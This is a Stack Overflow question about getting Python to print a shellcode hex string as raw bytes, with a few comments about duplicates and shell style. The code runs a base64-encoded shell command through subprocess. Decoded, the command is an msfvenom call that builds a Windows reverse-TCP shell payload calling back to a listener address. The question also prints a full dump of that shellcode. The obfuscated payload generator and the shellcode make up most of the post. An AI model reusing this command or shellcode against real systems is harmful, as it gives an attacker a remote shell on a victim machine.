0

so I was writing a code to generate hex payload using subprocess module but the output is printing hardcoded hex as ASCII characters instead of converting hex into ASCII.

CODE1 : Here is the code that i want in my original code :

    payload='\xda\xd3\xba\xa4\x75\xc7\x35\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1'
    print (payload)

This outputs actual conversion of hex to ASCII :

�Ӻ�u�5�t$�^+ɱ

CODE 2 : Here is my original code :

import subprocess

pld="echo bXNmdmVub20gLXAgd2luZG93cy9zaGVsbF9yZXZlcnNlX3RjcCBMSE9TVD0xMC44LjE2MC4xODkgTFBPUlQ9ODg4OCBFWElURlVOQz10aHJlYWQgLWIgIlx4MDBceDA3XHgyZVx4YTAiIC1mIGMgfCBncmVwIHggfCBzZWQgJ3MvOy8vJyAgID4gcGF5bG9hZCAgOyBjaG1vZCArciBwYXlsb2FkIDsgY2F0IHBheWxvYWQgfCBzZWQgJ3MvIi8vZycgPiBmaW5hbHBheWxvYWQgOyBjbGVhciA7IGNhdCBmaW5hbHBheWxvYWQK | base64 -d | /bin/bash"

payload=subprocess.check_output(pld, shell=True)

print (payload)

This outputs all the hexdump as text :

\xda\xc0\xd9\x74\x24\xf4\xba\xbc\xbf\xeb\x95\x5b\x33\xc9\xb1
\x52\x83\xc3\x04\x31\x53\x13\x03\xef\xac\x09\x60\xf3\x3b\x4f
\x8b\x0b\xbc\x30\x05\xee\x8d\x70\x71\x7b\xbd\x40\xf1\x29\x32
\x2a\x57\xd9\xc1\x5e\x70\xee\x62\xd4\xa6\xc1\x73\x45\x9a\x40
\xf0\x94\xcf\xa2\xc9\x56\x02\xa3\x0e\x8a\xef\xf1\xc7\xc0\x42
\xe5\x6c\x9c\x5e\x8e\x3f\x30\xe7\x73\xf7\x33\xc6\x22\x83\x6d
\xc8\xc5\x40\x06\x41\xdd\x85\x23\x1b\x56\x7d\xdf\x9a\xbe\x4f
\x20\x30\xff\x7f\xd3\x48\x38\x47\x0c\x3f\x30\xbb\xb1\x38\x87
\xc1\x6d\xcc\x13\x61\xe5\x76\xff\x93\x2a\xe0\x74\x9f\x87\x66
\xd2\xbc\x16\xaa\x69\xb8\x93\x4d\xbd\x48\xe7\x69\x19\x10\xb3
\x10\x38\xfc\x12\x2c\x5a\x5f\xca\x88\x11\x72\x1f\xa1\x78\x1b
\xec\x88\x82\xdb\x7a\x9a\xf1\xe9\x25\x30\x9d\x41\xad\x9e\x5a
\xa5\x84\x67\xf4\x58\x27\x98\xdd\x9e\x73\xc8\x75\x36\xfc\x83
\x85\xb7\x29\x03\xd5\x17\x82\xe4\x85\xd7\x72\x8d\xcf\xd7\xad
\xad\xf0\x3d\xc6\x44\x0b\xd6\xe3\x90\xb3\x9b\x9c\xa2\xb3\xc1
\xe4\x2a\x55\x6f\x05\x7b\xce\x18\xbc\x26\x84\xb9\x41\xfd\xe1
\xfa\xca\xf2\x16\xb4\x3a\x7e\x04\x21\xcb\x35\x76\xe4\xd4\xe3
\x1e\x6a\x46\x68\xde\xe5\x7b\x27\x89\xa2\x4a\x3e\x5f\x5f\xf4
\xe8\x7d\xa2\x60\xd2\xc5\x79\x51\xdd\xc4\x0c\xed\xf9\xd6\xc8
\xee\x45\x82\x84\xb8\x13\x7c\x63\x13\xd2\xd6\x3d\xc8\xbc\xbe
\xb8\x22\x7f\xb8\xc4\x6e\x09\x24\x74\xc7\x4c\x5b\xb9\x8f\x58
\x24\xa7\x2f\xa6\xff\x63\x4f\x45\xd5\x99\xf8\xd0\xbc\x23\x65
\xe3\x6b\x67\x90\x60\x99\x18\x67\x78\xe8\x1d\x23\x3e\x01\x6c
\x3c\xab\x25\xc3\x3d\xfe

All i want the same format of output in CODE2 as in CODE1.

  • Does this answer your question? [Show hex value for all bytes, even when ASCII characters are present](https://stackoverflow.com/questions/26568245/show-hex-value-for-all-bytes-even-when-ascii-characters-are-present) – Kemp Feb 16 '21 at 10:47
  • my original code is considering my hexdump as a string and printing it as it is. however, I want hexdump to ASCII conversion in print. – Himanshu Shukla Feb 16 '21 at 11:04
  • As an aside, the original base64-encoded shell script contains a large number of shell programming antipatterns. Try http://shellcheck.net// to get at least a few of them removed. – tripleee Feb 16 '21 at 12:38
  • If `payload` is a string (which I believe it is) then the conversion to ASCII during printing for characters where it's possible should happen automatically. Stopping it from happening is usually the difficult part, thus my misreading of your question, sorry about that. I'm not sure why it wouldn't be happening for you. – Kemp Feb 16 '21 at 13:14
  • @tripleee I think that closing this question as a duplicate was a bit premature as the problem is the opposite of what the other post was asking. – Kemp Feb 16 '21 at 14:13
  • @Kemp Thanks for the feedback; I think I found a better duplicate now. All variations of this problem are common FAQs but it's hard to find the right one when they are all so similar. – tripleee Feb 16 '21 at 19:05

0 Answers0